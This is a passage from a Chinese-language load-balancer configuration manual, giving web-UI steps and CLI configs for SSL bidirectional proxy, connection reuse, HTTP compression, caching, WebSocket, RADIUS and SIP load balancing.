success-criteria at-least 1
real-server rs3 port 80
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
loadbalance action la2 type http
server-farm sf2
header insert request name http-certification-insert value %{x509v}
#
loadbalance policy lp type http
default-class action la2
#
virtual-server vs type http
port 443
virtual ip address 61.159.4.100
lb-policy lp
ssl-server-policy ssl
service enable
sticky-sync enable
SSL双向代理是指LB设备为用户和内网的HTTPS服务器提供SSL双向认证服务,需要服务端与客户端提供身份认证,只能是服务端允许的客户去访问。
Host发起HTTPS访问,通过LB设备加解密,三台服务器Server A、Server B和Server C均可提供HTTPS服务,Host访问服务器的流量会在三台服务器之间负载分担。
图6-155 SSL双向代理组网图
为了实现SSL双向代理功能,需要在LB设备上完成如下配置:
· 将CA证书和设备证书导入到LB设备。
· 在LB设备上创建SSL服务端策略和SSL客户端策略。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 确保Host到LB设备的虚服务路由可达。
· 要先申请正确的证书,再将申请的证书通过FTP或TFTP上传到LB设备上。
· 在LB设备上配置的实服务器地址要与相应的实服务器地址保持一致。
· 配置完虚服务后,需要开启虚服务。
· 虚服务器端口号需要配置为443,实服务器端口号配置为443。
· 服务器上导入与设备相同的本地证书。
· SSL策略无法和虚服务器进行联动,当修改SSL策略后,需对服务器重新进行使能操作才可以使配置生效。
· 创建SSL服务器端策略后,需要手工在命令行下配置SSL协商时SSL服务器端发送完整的证书链功能。
以下验证过程均在LB设备上进行。
在导航栏中选择“网络>接口>接口”,进入接口配置页面。
单击<新建接口>,添加类型为三层聚合接口,聚合组编号为1,如下图所示
图6-156 添加三层聚合口
点击<确定>,修改接口设置,如下图所示。
在导航栏中选择“网络>接口>接口”,进入接口页面。
单击新建接口,选择三层聚合子接口,父接口为RAGG1,子接口编号为10,如下图所示。
图6-157 创建子接口
子接口创建后,在接口列表内该子接口右侧点击编辑按钮,修改接口设置,修改IP地址/掩码为10.0.0.1掩码255.255.255.0,VLAN终结设置为Dot1q明确终结,值为10。
图6-158 修改IP地址/掩码
图6-159 VLAN终结设置
重复上述步骤创建子接口,选择接口为RAGG1,子接口编号为20,子接口创建后,在接口列表内该子接口右侧点击编辑按钮,修改接口设置,修改IP地址/掩码为192.168.1.254掩码255.255.255.0,VLAN终结设置为Dot1q明确终结,值为20。
在导航栏中选择“对象>PKI>证书”,进入证书页面。
单击<新建>PKI域,添加域名称为ca,禁止CRL检查,如下图所示。
图6-160 添加PKI域
点击<确定>,完成操作。
选中ca,点击<导入证书>按钮,如下图所示。
图6-161 导入证书
证书类型选择CA证书,点击<选择文件>按钮,选择CA证书文件,如下图所示。
图6-162 导入CA证书
点击<确定>,完成操作。
证书类型选择本地证书,点击<选择文件>按钮,选择本地证书文件,输入证书口令,如下图所示。
图6-163 导入本地证书
点击<确定>,完成操作。
在导航栏中选择“对象>SSL>服务器端策略”,进入SSL页面。
单击<新建>按钮,添加策略名称为server,PKI域选择ca的SSL服务器端策略,RC2和RC4的算法剔除,如下图所示。
图6-164 添加SSL服务器端策略
点击<确定>,完成操作。
由于在WEB上不支持配置SSL协商时SSL服务器端发送完整的证书链的功能,需要手工在命令行下配置开启该功能。
[sysname]ssl server-policy ssl
[sysname-ssl-server-policy-ssl]certificate-chain-sending enable
在导航栏中选择“对象>SSL>客户端策略”,进入SSL页面。
单击<新建>按钮,添加策略名称为client,SSL协议版本选TLS 1.0,PKI域选择ca的SSL客户端策略,如下图所示。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-165 添加健康检测模板
创建实服务组sf1,采用的调度算法为源IP地址哈希算法。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1的实服务组,如下图所示。
图6-166 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加实服务组成员,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,实服务器端口为443,如下图所示。
图6-167 添加实服务组成员信息
单击<确定>按钮,完成操作。
创建实服务器rs2、rs3与创建rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1添加成员,参照上图创建实服务器rs2,配置其IPv4地址为192.168.1.2、实服务器端口为443。
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1添加成员,参照上图创建实服务器rs3,配置其IPv4地址为192.168.1.3、实服务器端口为443。
创建HTTP类型的虚服务器vs,配置其VSIP为61.159.4.100,指定其默认实服务组为sf,端口号为443,引用ssl策略ssl。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择HTTPS,配置虚服务IP为61.159.4.100,其默认实服务组为sf1,端口号为443,引用SSL服务端策略server,SSL客户端策略client,并开启虚服务,如下图所示。
图6-168 新建虚服务器
点击<确定>,完成操作。
设备与服务端是加密报文,服务端抓包如下:
#
vlan 10 20
#
interface GigabitEthernet1/1/4
port link-mode bridge
port link-type trunk
port trunk permit vlan 1 10 20
port link-aggregation group 1
#
interface GigabitEthernet1/1/6
port link-mode bridge
port access vlan 10
#
interface GigabitEthernet1/1/7
port link-mode bridge
port access vlan 20
#
#
interface Route-Aggregation1
#
interface Route-Aggregation1.10
ip address 10.0.0.1 255.255.255.0
vlan-type dot1q vid 10
#
interface Route-Aggregation1.20
ip address 192.168.1.254 255.255.255.0
vlan-type dot1q vid 20
#
nqa template icmp t1
#
pki domain ca
public-key rsa general name ca length 2048
undo crl check enable
#
ssl server-policy server
pki-domain ca
ciphersuite rsa_aes_128_cbc_sha rsa_des_cbc_sha rsa_3des_ede_cbc_sha rsa_aes_256_cbc_sha exp_rsa_des_cbc_sha dhe_rsa_aes_128_cbc_sha dhe_rsa_aes_256_cbc_sha rsa_aes_128_cbc_sha256 rsa_aes_256_cbc_sha256 dhe_rsa_aes_128_cbc_sha256 dhe_rsa_aes_256_cbc_sha256
ciphersuite ecdhe_rsa_aes_128_cbc_sha256 ecdhe_rsa_aes_256_cbc_sha384 ecdhe_rsa_aes_128_gcm_sha256 ecdhe_rsa_aes_256_gcm_sha384 ecdhe_ecdsa_aes_128_cbc_sha256
ecdhe_ecdsa_aes_256_cbc_sha384 ecdhe_ecdsa_aes_128_gcm_sha256 ecdhe_ecdsa_aes_256_gcm_sha384 ecc_sm2_sm1_sm3 ecc_sm2_sm4_sm3 ecdhe_sm2_sm1_sm3
ciphersuite ecdhe_sm2_sm4_sm3 rsa_sm1_sha rsa_sm1_sm3 rsa_sm4_sha rsa_sm4_sm3
certificate-chain-sending enable
#
ssl client-policy client
pki-domain ca
prefer-cipher dhe_rsa_aes_256_cbc_sha rsa_aes_256_cbc_sha dhe_rsa_aes_128_cbc_s
ha rsa_3des_ede_cbc_sha rsa_aes_128_cbc_sha
undo server-verify enable
#
server-farm sf1
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs1 port 443
success-criteria at-least 1
real-server rs2 port 443
success-criteria at-least 1
real-server rs3 port 443
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs type http
port 443
virtual ip address 61.159.4.100
default server-farm sf1
ssl-server-policy server
ssl-client-policy client
service enable
#
负载均衡连接复用功能,即负载均衡设备与服务器建立长连接,使多个客户端复用同一条与服务器的连接,以减少客户端与服务器之间打开的连接数,从而提高服务器的处理能力。
Host通过LB设备对3台服务器进行访问,三台服务器Server A、Server B和Server C均可提供HTTP服务,Host访问服务器的流量会在三台服务器之间负载分担,并减少客户端与服务器之间打开的连接数。
图6-169 负载均衡连接复用配置组网图
为了实现HTTP连接复用功能,需要在LB设备上完成如下配置:
· 建立HTTP类型的参数模板,并使能服务器连接复用
· 在HTTP类型的虚服务下应用该参数模板
· 大量Host多个连接访问server,TCP连接被复用
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 确保Host到LB设备的虚服务路由可达。
· 实服务组需要配置绑定源地址池
· 在LB设备上配置的实服务器地址要与相应的实服务器地址保持一致。
· 配置完虚服务后,需要开启虚服务。
以下验证过程均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-170 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>参数模板”,进入参数模板页面
新建HTTP类型的参数模板名称为pp1,类型选择HTTP,并开启连接复用。
图6-171 新建HTTP类型参数模板pp1
新建OneConnect类型的参数模板名称为pp2,类型选择OneConnect。
图6-172 新建OneConnect类型参数模板pp2
在导航栏中选择“策略>公共配置>源地址池”,进入源地址池页面。
单击<新建>,添加源地址池名称为snat1,起始IP地址填入接口地址,结束IP地址填入接口地址,如下图所示。
图6-173 新建源地址池
# 创建实服务组sf1,采用的调度算法为源IP地址哈希算法。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康检测选择t1,源地址池为snat1,如下图所示。
图6-174 新建实服务组
策略>应用负载均衡>实服务组,编辑实服务组sf1,添加实服务组成员,新建实服务器rs1,IP地址为192.168.1.1,权值为150。点击<确定>
图6-175 新建实服务器
创建实服务器rs2和rs3与创建rs1步骤相同
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,添加实服务组成员,参照上图创建实服务器rs2,配置其IPv4地址为192.168.1.2、权值为120。
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,添加实服务组成员,参照上图创建实服务器rs3,配置其IPv4地址为192.168.1.3、权值为90。
# 创建HTTP类型的虚服务器vs,配置其VSIP为61.159.4.100,指定其默认实服务组为sf1,参数模板为pp1
策略>应用负载均衡>虚服务器,添加虚服务器名称为vs,HTTP类型,配置虚服务IP为61.159.4.100,其默认实服务组为sf1,开启虚服务,引用HTTP类型的参数模板pp1和oneconnect类型的参数模板pp2.
图6-176 新建虚服务器
#
nqa template icmp t1
#
parameter-profile pp1 type http
server-connection reuse
#
parameter-profile pp2 type oneconnect
#
loadbalance snat-pool snat1
ip range start 192.168.1.254 end 192.168.1.254
#
server-farm sf1
predictor hash address source
snat-pool snat1
probe t1
success-criteria at-least 1
real-server rs1 port 0
weight 150
success-criteria at-least 1
real-server rs2 port 0
weight 120
success-criteria at-least 1
real-server rs3 port 0
weight 90
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs type http
virtual ip address 61.159.4.100
parameter http pp1
parameter oneconnect pp2
default server-farm sf1
service enable
LB对server端回应报文进行压缩,client端需携带Accept-Encoding。如图所示,Host通过LB设备对3台服务器进行访问,三台服务器Server A、Server B和Server C均可提供HTTP服务。服务器端设置回复大报文,LB设备上配置带压缩参数的参数模板,服务器端报文经过LB设备返回给client,大报文备压缩。
图6-177 HTTP压缩组网图
为实现HTTP压缩功能,需要在LB设备上完成如下配置:
· 配置带压缩参数的参数模板
· 配置实服务组、实服务器、虚服务
· Server端回复的大文件在客户端文件被压缩
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
注意测试仪中添加Accept-Encoding: gzip,deflate
以下验证过程在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>按钮,添加健康模板名称为t1,类型为HTTP的健康检测模板,URL为http://192.168.1.1/index.html,如下图所示。
图6-178 添加健康检测模板
单击<确定>按钮,完成操作。
按照上图步骤创建HTTP类型健康检测t2、t3,URL分别为http://192.168.1.2/index.html、http://192.168.1.3/index.html
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1、t2、t3的实服务组,且成功条件为至少1个检测通过,如下图所示。
图6-179 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加成员列表,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图6-180 添加实服务器信息
单击<确定>按钮,完成操作。
创建实服务器rs2、rs3与创建rs1步骤相同。
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,点击添加成员列表,参照上图创建实服务器rs2和rs3,分别配置其IPv4地址为192.168.1.2和192.168.1.3。
在导航栏中选择“策略>应用负载均衡>参数模板”,进入参数模板页面。
单击<新建>,添加参数模板名称为pp1,类型选择HTTP-Compress,如下图所示。
图6-181 添加参数模板信息
单击<确定>,完成操作。
创建HTTP类型的虚服务器vs1,配置其VSIP为61.159.4.100,应用参数模板pp1,并开启虚服务。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>按钮,添加虚服务器名称为vs1,类型选择HTTP,应用参数模板pp1,引用实服务组sf1并开启虚服务,如下图所示。
图6-182 新建虚服务器
点击<确定>,完成操作。
#
nqa template http t1
url http://192.168.1.1/index.html
#
nqa template http t2
url http://192.168.1.2/index.html
#
nqa template http t3
url http://192.168.1.3/index.html
#
parameter-profile pp1 type http-compression
compression level 9
memory-size 1
prefer-method deflate
content length-threshold 200
request-version all
undo header delete request accept-encoding
#
server-farm sf1
predictor hash address source
probe t1
probe t2
probe t3
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs1 type http
virtual ip address 61.159.4.100
parameter http-compression pp1
default server-farm sf1
service enable
随着计算机普及和互联网的快速发展,越来越多的人开始使用网络,信息量呈几何爆发式增长,信息的丰富性也带来了信息的冗余,网路间的损耗越发的突出,用户对于网络服务有了的更高要求,面对服务质量良莠不齐的网络服务端和用户对高速稳定网络的需求,可以使用网络缓存解决服务器与客户端间的这种访问方式。
在服务器与客户端间搭建缓存设备,将用户访问或下载的热点内容中大于1K的,在存储设备中保存一个副本,当内容再次被用户访问或下载时,不必连接到驻留(源)网站,而是由Cache中保留的副本直接提供,以达到极速访问或下载,降低网间带宽的依赖目的。
图6-183 web缓存应用负载均衡组网图
为实现对经过LB的业务流量做缓存,需要在LB设备上完成如下配置:
· 配置缓存策略。
· 虚服务器引用缓存策略。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 配置缓存策略。
· 请求文件大于1K才能缓存。
在导航栏中选择“策略> 应用负载均衡>高级策略>缓存策略”,单击<新建>,添加HTTP类型的缓存策略名称为cache,进行如下配置:
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为icmp,类型为ICMP的健康检测模板,如下图所示。
图6-184 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1,如下图所示。
图6-185 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,添加实服务组成员,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图6-186 添加实服务器
点击<确定>,完成操作
创建实服务器rs2、rs3与创建rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,点击添加实服务组成员,参照上图步骤创建实服务器rs2和rs3,分别配置其IPv4地址为192.168.1.2和192.168.1.3。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为cache,类型选择HTTP,61.159.4.100,指定实服务组sf1,开启虚服务功能,缓存策略为cache,如下图所示。
图6-187 新建虚服务器
点击<确定>,完成操作。
客户端发起请求http://61.159.4.100/download,访问成功
图6-188 查看虚服务器的统计数据
图6-189 查看实服务器的统计数据
图6-190 查看缓存策略的统计数据
客户端发起请求http://61.159.4.100/download,访问成功
图6-191 查看虚服务器的统计数据
图6-192 查看实服务器的统计数据
图6-193 查看缓存策略的统计数据
#
nqa template icmp icmp
#
server-farm sf1
predictor hash address source
probe icmp
success-criteria at-least 1
real-server rs1 port 0
real-server rs2 port 0
real-server rs3 port 0
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server cache type http
virtual ip address 61.159.4.100
default server-farm sf1
lb-cache-policy cache
service enable
#
cache-policy cache type http
match 1 uri /download
#
WebSocket是一种客户端与服务器进行全双工通讯的网络技术,属于应用层协议。它基于TCP传输协议,并复用HTTP的握手通道。具体来说,客户端通过HTTP请求与WebSocket服务端协商升级协议。协议升级完成后,后续的数据交换则遵照WebSocket的协议。
Host通过LB设备对3台服务器进行访问,三台服务器Server A、Server B和Server C均可提供HTTP服务,Host访问服务器的流量会在三台服务器之间负载分担。首先,客户端发起协议升级请求。采用的是标准的HTTP报文格式,且只支持GET方法,协议版本为1.1。接下来,服务器端响应协议升级,返回状态码101表示协议切换。
图6-194 websocket组网图
· 跟其他普通七层负载均衡基本功能一样。
· 本例使用客户端websocket. html小程序和服务器端server.py小软件进行模拟测试,实际测试结果请于客户的真实业务为主。
本举例是在L1090的Ess 1101P13版本上进行配置和验证的。
服务器端需要支持Python程序运行,确保可以正常调用server.py程序。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加名称为http、类型为HTTP的健康检测模板,如下图所示。
图6-195 添加健康检测模板
单击<确定>按钮,完成操作。按照上图步骤创建HTTP类型健康检测http2、http3,URL分别为http://192.168.1.2/index.html、http://192.168.1.3/index.html
在导航栏中选择“策略>公共配置>源地址池”,进入源地址池页面。
单击<新建>,添加源地址名称为websocket,配置起始IP地址:192.168.1.253,结束IP地址:192.168.1.253,如下图所示。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为websocket,调度算法为源IP地址哈希,健康性检测选择http类型的健康检测,源地址池选择websocket,如下图所示。
图6-196 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组websoket,添加实服务组成员,新建实服务器名称为websocket1,IP地址为192.168.1.1,端口号:8000,如下图所示。
图6-197 添加实服务器信息
单击<确定>按钮,完成操作。
策略>应用负载均衡>实服务组,编辑实服务组websocket,点击添加实服务组成员,参照上图步骤创建实服务器websocket2和websocket3,分别配置其IPv4地址为192.168.1.2和192.168.1.3,端口号都为8000。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为websocket,类型选择HTTP,配置虚服务IP为61.159.4.100,端口号:8000,应用实服务组websocket,并开启虚服务,如下图所示。
图6-198 新建虚服务器
点击<确定>,完成操作。
打开客户端websocket.html文件,和虚服务地址:61.159.4.100,端口号:8000.建立连接,并发送websocket信息,可以看到连接建立成功,信息发送成功。
nqa template http http1
url http://192.168.1.1/index.html
#
nqa template http http2
url http://192.168.1.2/index.html
#
nqa template http http3
url http://192.168.1.3/index.html
#
Loadbalance snat-pool websocket
ip range start 192.168.1.253 end 192.168.1.253
arp-nd interface Route-Aggregation1.20
#
server-farm websocket
predictor hash address source
snat-pool websocket
probe http1
probe http2
probe http3
success-criteria at-least 1
real-server websocket1 port 8000
success-criteria at-least 1
real-server websocket2 port 8000
success-criteria at-least 1
real-server websocket3 port 8000
success-criteria at-least 1
#
real-server websocket1
ip address 192.168.1.1
#
real-server websocket2
ip address 192.168.1.2
#
real-server websocket3
ip address 192.168.1.3
#
virtual-server websocket type http
port 8000
virtual ip address 61.159.4.100
default server-farm websocket
sticky-sync enable
service enable
#
如图所示,LB设备后接多台RADIUS服务器组成的RADIUS服务器群。Host通过NAS向现有3台RADIUS服务器为外网用户提供RADIUS服务,3台RADIUS服务器地址为192.168.1.1~192.168.1.3。
用户通过NAS设备认证计费时,负载均衡设备会将RADIUS认证计费的请求报文转发到不同的RADIUS服务器上,从而使RADIUS请求报文均匀地分布在不同的RADIUS服务器上。
在NAS设备的数目较少场景下,使用 UDP强制负载均衡,RADIUS server负担更均匀;使用user-name的RADIUS持续性,保证同一用户名的认证报文发送至同一台认证服务器上;使用iCMP与UDP端口检测组合,做到业务的健康检查,保证业务的可靠性。
图6-199 LB支持RADIUS配置组网图
通过配置七层RADIUS类型虚服务实现该功能。
· 配置路由,保证RADIUS Server与NAS Clinet、LB device之间路由可达。
· 配置UDP强制负载均衡,保证业务负载分担
· 配置ICMP类型健康检测,配置UDP类型1812和1813端口的健康检测,保证业务可靠性
· 配置user-name持续性组,保证同一用户名的认证报文发送至同一台认证服务器上
本举例是在L5000-C的Ess 8142P13版本上进行配置和验证的。
· 该案例RADIUS持续性老化时间配置为3600s,推荐配置值需要根据现场使用场景结合具体业务调节
以下配置均在LB设备上进行。
创建ICMP类型的NQA模板icmp。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为icmp,类型为ICMP的健康检测模板,如下图所示。
图6-200 添加健康检测模板
单击<确定>按钮,完成操作。
创建UDP类型NQA模板1812和1813,配置raw格式的数据填充,配置端口探测功能,如下所示(该功能D045SP不支持Web)。
[sysname]nqa template udp 1812
[sysname-nqatplt-udp-1812]data-fill "default send string" raw
[sysname-nqatplt-udp-1812]destination port 1812
[sysname-nqatplt-udp-1812]port-detect enable
[sysname-nqatplt-udp-1812]reaction trigger probe-pass 1
[sysname]nqa template udp 1813
[sysname-nqatplt-udp-1813]data-fill "default send string" raw
[sysname-nqatplt-udp-1813]destination port 1813
[sysname-nqatplt-udp-1813]port-detect enable
[sysname-nqatplt-udp-1813]reaction trigger probe-pass 1
在导航栏中选择“策略>应用负载均衡>实服务器”,进入实服务器页面。
单击新建,添加实服务器名称为rs1,地址为192.168.1.1,如下图所示。
图6-201 创建实服务器
创建实服务器地址为192.168.1.2和192.168.1.3。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击新建,添加实服务组名称为sf,调度算法为加权轮转,添加已配置的实服务器rs1、rs2、rs3,并绑定健康检测t1、t2且需验证所有健康检测,如下图所示。
图6-202 创建实服务组
在导航栏中选择“策略>公共配置>持续性组”,进入持续性组页面。
单击新建,添加持续组名称为radius,类型为RADIUS,持续性方法:user-name,超时时间为3600s。
图6-203 创建持续性组
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击新建,添加虚服务器名称为vs,类型选择RADIUS,VSIP地址为61.159.4.100,绑定实服务组sf和持续性组radius,开启UDP强制负载均衡,开启虚服务功能,如下图所示。
图6-204 创建虚服务器
用户上线,通过NAS Client向LB设备发送RADIUS认证请求计费报文,报文经由LB设备做负载均衡处理分发给后端的RADIUS服务器处理,同时生成持续性表项;
在导航栏中选择“策略>应用负载均衡>实服务组”,点击<编辑>进入实服务组页面,查看成员列表一栏
图6-205 实服务组成员列表
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面
图6-206 实服务组列表
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面
图6-207 虚服务列表
<sysname>display sticky virtual-server
Slot 1:
Virtual server name: 0
Sticky zone type: Default server farm
Sticky group name: radius
Sticky method: RADIUS attribute
Timeout: 3600
Sticky entry Real server Expiration Count
--------------------------------------------------------------------------------
admin123 192.168.1.1/0 3400 0
0192023a7bbd73250516f069df18b500
Slot 2:
Virtual server name: 0
Sticky zone type: Default server farm
Sticky group name: radius
Sticky method: RADIUS attribute
Timeout: 604800
Sticky entry Real server Expiration Count
--------------------------------------------------------------------------------
admin123 192.168.1.1/0 3400 0
0192023a7bbd73250516f069df18b500
#
nqa template icmp icmp
reaction trigger probe-pass 1
#
nqa template udp 1812
data-fill "default send string" raw
destination port 1812
port-detect enable
reaction trigger probe-pass 1
#
nqa template udp 1813
data-fill "default send string" raw
destination port 1813
port-detect enable
reaction trigger probe-pass 1
#
real-server rs1
ip address 192.168.1.1
success-criteria at-least 1
#
real-server rs2
ip address 192.168.1.2
success-criteria at-least 1
#
real-server rs3
ip address 192.168.1.3
success-criteria at-least 1
#
server-farm sf
probe 1812
probe 1813
probe icmp
real-server rs1 port 0
real-server rs2 port 0
real-server rs3 port 0
#
sticky-group radius type radius
radius-attribute user-name
#
virtual-server vs type radius
virtual ip address 61.159.4.100
default server-farm sf sticky radius
udp per-packet
connection-sync enable
sticky-sync enable
service enable
#
如图所示,LB设备后接多台SIP服务器组成的SIP服务器群。现有3台SIP服务器为外网用户提供SIP服务,3台SIP服务器地址为192.168.1.1~192.168.1.3。负载均衡设备会将HOST发送的SIP请求报文进行分配,使SIP请求报文均匀地分布在不同的SIP服务器上。如果SIP客户端的数目过少,可以保证服务器负担均匀,同时可以使同一CALL-ID的SIP请求发送至同一台服务器上。
图6-208 LB支持SIP组网图
为了实现LB支持SIP功能,需要在LB设备上完成如下配置:
· 配置SIP类型持续性组,SIP类型健康检测模板
· 配置实服务组,添加实服务器成员,引用SIP类型健康检测模板
· 配置SIP类型虚服务器,引用实服务组和SIP类型持续性组
本举例是在L1000-AK390的Ess 1101P13版本上进行配置和验证的。
· 健康检测使用SIP类型NQA模板
· SIP-UDP类型虚服务要开启强制负载分担功能
以下验证过程均在LB设备上进行。
[sysname]nqa template sip sip
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf_sip,如下图所示。
图6-209 添加实服务组
点击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务器组”,进入实服务器组页面。
选择编辑实服务组sf_sip,在成员列表一栏添加实服务器,实服务器IP地址为192.168.1.1,如下图所示。
图6-210 添加实服组成员
单击<确定>按钮,完成操作。
创建rs2、rs3与rs1步骤相同
# 添加实服务组sf_sip成员实服务器rs2,配置其IPv4地址为192.168.1.2。
# 添加实服务组sf_sip成员实服务器rs3,配置其IPv4地址为192.168.1.3。
在导航栏中选择“策略>全局配置>持续性组”,点击<新建>,持续性组名称为sip,类型为SIP,SIP持续性方法为Call-ID,Cookie名称为X-LB,如下图所示。
图6-211 新建持续性组sip
点击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>虚服务器”,新建虚服务器名称为vs_sip_udp,类型SIP-UDP,地址为61.159.4.100,实服务组为sf_sip, 实服务组的持续性为sip,并开启虚服务,单击<确定>。
图6-212 新建SIP-UDP类型服务器
点击<确定>,完成操作。
可在验证前先清理实服务器和虚服务的统计数据,以免干扰判断,清理后,再打流量,进行验证。
在导航栏中选择“监控>应用负载均衡>虚服务器统计”,单击<清除>。
在导航栏中选择“监控>应用负载均衡>实服务器统计”,单击<详细>,进入实服务器成员统计页面,全选之后,单击<清除>。
HOST大量地址向虚服务vs_sip_udp发起SIP-UDP请求,访问成功后,可以在LB设备上查看到虚服务和实服务器的统计信息,请求被平均分配到三台服务器。查看报文,可以看到sip会话成功建立,并发送RTP媒体流。
在导航栏中选择“监控>应用负载均衡>虚服务器统计”,进入虚服务统计页面
图6-213 虚服务器统计页面
图6-214 实服务器统计页面
图6-215 查看服务端报文,可以看到sip会话成功建立,并发送RTP媒体流。
清除虚服务器和实服务器的统计,HOST少量地址向虚服务vs_sip_udp发起SIP-UDP请求,访问成功后,可以在LB设备上查看到虚服务和实服务器的统计信息,请求被平均分配到三台服务器。查看报文,可以看到sip会话成功建立,并发送RTP媒体流。
图6-216 虚服务器统计页面
图6-217 实服务器统计页面
图6-218 关闭UDP强制负载分担功能实服务器统计
清除虚服务器和实服务器的统计,HOST向虚服务器vs_sip_udp发起同一CALL-ID的SIP-UDP请求,访问成功后,可以在LB设备上查看到虚服务和实服务器的统计信息,请求被分配到同一台服务器。查看报文,可以看,不同源地址CAAL-ID相同被分配到相同的实服务器。
图6-219 虚服务器统计页面
图6-220 实服务器统计页面
图6-221 查看服务端报文, 相同CALL-ID被分配到同一服务器
#
server-farm sf_sip
predictor hash address source
probe sip
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
nqa template sip sip
#
real-server rs1
ip address 192.168.1.1
success-criteria at-least 1
#
real-server rs2
ip address 192.168.1.2
success-criteria at-least 1
#
real-server rs3
ip address 192.168.1.3
success-criteria at-least 1
#
sticky-group sip type sip
header call-id
#
virtual-server vs_sip_udp type sip-udp
virtual ip address 61.159.4.100
default server-farm sf sticky sip
udp per-packet
connection-sync enable
sticky-sync enable
service enable
#
如图所示,在两台集群前置机上分别有队列管理器QMGR.S0X_1、QMGR.P0X_1和QMGR.S0X_2、QMGR.P0X_2四个队列管理器。两台前置机上队列管理器除了ip地址和队列管理器名字不同,其他配置完全相同。对外暴露的队列管理器名称为QMGR.S0X、QMGR.P0X。负载均衡在接收到报文的时候,需解析报文,根据集群前置机的情况替换队列管理器名称,加上后缀_1或者_2,使得厂商的请求发送到内部的集群前置机上。
